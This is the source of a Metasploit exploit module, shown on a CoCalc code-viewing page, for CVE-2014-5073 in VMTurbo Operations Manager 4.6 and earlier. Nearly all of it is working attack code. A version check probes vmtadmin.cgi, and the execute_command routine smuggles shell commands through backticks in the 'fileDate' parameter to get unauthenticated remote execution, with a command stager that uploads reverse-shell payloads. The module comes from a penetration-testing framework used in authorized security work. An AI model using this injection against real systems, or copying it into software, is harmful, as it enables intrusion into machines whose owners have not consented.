Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
33276 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::EXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution',
18
'Description' => %q{
19
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
20
OS Command injection in the web interface. Use reverse payloads for the most
21
reliable results. Since it is a blind OS command injection vulnerability,
22
there is no output for the executed command when using the cmd generic payload.
23
Port binding payloads are disregarded due to the restrictive firewall settings.
24
25
This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
26
4.6.
27
},
28
'Author' => [
29
# Secunia Research - Discovery and Metasploit module
30
'Emilio Pinna <emilio.pinn[at]gmail.com>'
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
['CVE', '2014-5073'],
35
['OSVDB', '109572'],
36
['URL', 'http://web.archive.org/web/20140905004331/http://secunia.com:80/secunia_research/2014-8/']
37
],
38
'DisclosureDate' => '2014-06-25',
39
'Privileged' => false,
40
'Payload' => {
41
'Compat' =>
42
{
43
'ConnectionType' => '-bind'
44
}
45
},
46
'Targets' => [
47
[
48
'Unix CMD',
49
{
50
'Arch' => ARCH_CMD,
51
'Platform' => 'unix'
52
}
53
],
54
[
55
'VMTurbo Operations Manager',
56
{
57
'Arch' => [ ARCH_X86, ARCH_X64 ],
58
'Platform' => 'linux'
59
}
60
],
61
],
62
'DefaultTarget' => 1,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
72
end
73
74
def check
75
begin
76
res = send_request_cgi({
77
'method' => 'GET',
78
'uri' => '/cgi-bin/vmtadmin.cgi',
79
'vars_get' => {
80
'callType' => 'ACTION',
81
'actionType' => 'VERSIONS'
82
}
83
})
84
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
85
vprint_error('Failed to connect to the web server')
86
return Exploit::CheckCode::Unknown
87
end
88
89
if res and res.code == 200 and res.body =~ /vmtbuild:(\d+),vmtrelease:([\d.]+),vmtbits:\d+,osbits:\d+/
90
version = ::Regexp.last_match(2)
91
build = ::Regexp.last_match(1)
92
93
vprint_status("VMTurbo Operations Manager version #{version} build #{build} detected")
94
else
95
vprint_status('Unexpected vmtadmin.cgi response')
96
return Exploit::CheckCode::Unknown
97
end
98
99
# NOTE: (@todb): This PHP style comparison seems incorrect, since
100
# strings are being compared and not numbers. Example:
101
# 1.9.3p547 :001 > a = "4.6"
102
# => "4.6"
103
# 1.9.3p547 :002 > b = "10.6"
104
# => "10.6"
105
# 1.9.3p547 :003 > a <= b
106
#
107
# Also, the description says 4.5 is also vuln. This doesn't
108
# appear to care.
109
if version and version <= '4.6' and build < '28657'
110
return Exploit::CheckCode::Appears
111
else
112
return Exploit::CheckCode::Safe
113
end
114
end
115
116
def execute_command(cmd, _opts)
117
begin
118
send_request_cgi({
119
'uri' => '/cgi-bin/vmtadmin.cgi',
120
'method' => 'GET',
121
'vars_get' => {
122
'callType' => 'DOWN',
123
'actionType' => 'CFGBACKUP',
124
'fileDate' => "\"`#{cmd}`\""
125
}
126
})
127
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
128
vprint_error('Failed to connect to the web server')
129
return nil
130
end
131
132
vprint_status("Sent command #{cmd}")
133
end
134
135
def exploit
136
# Handle single command shot
137
if target.name =~ /CMD/
138
cmd = payload.encoded
139
res = execute_command(cmd, {})
140
141
unless res
142
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
143
end
144
145
print_status('Blind Exploitation - unknown exploitation state')
146
return
147
end
148
149
# Handle payload upload using CmdStager mixin
150
execute_cmdstager({ flavor: :printf })
151
end
152
end
153
154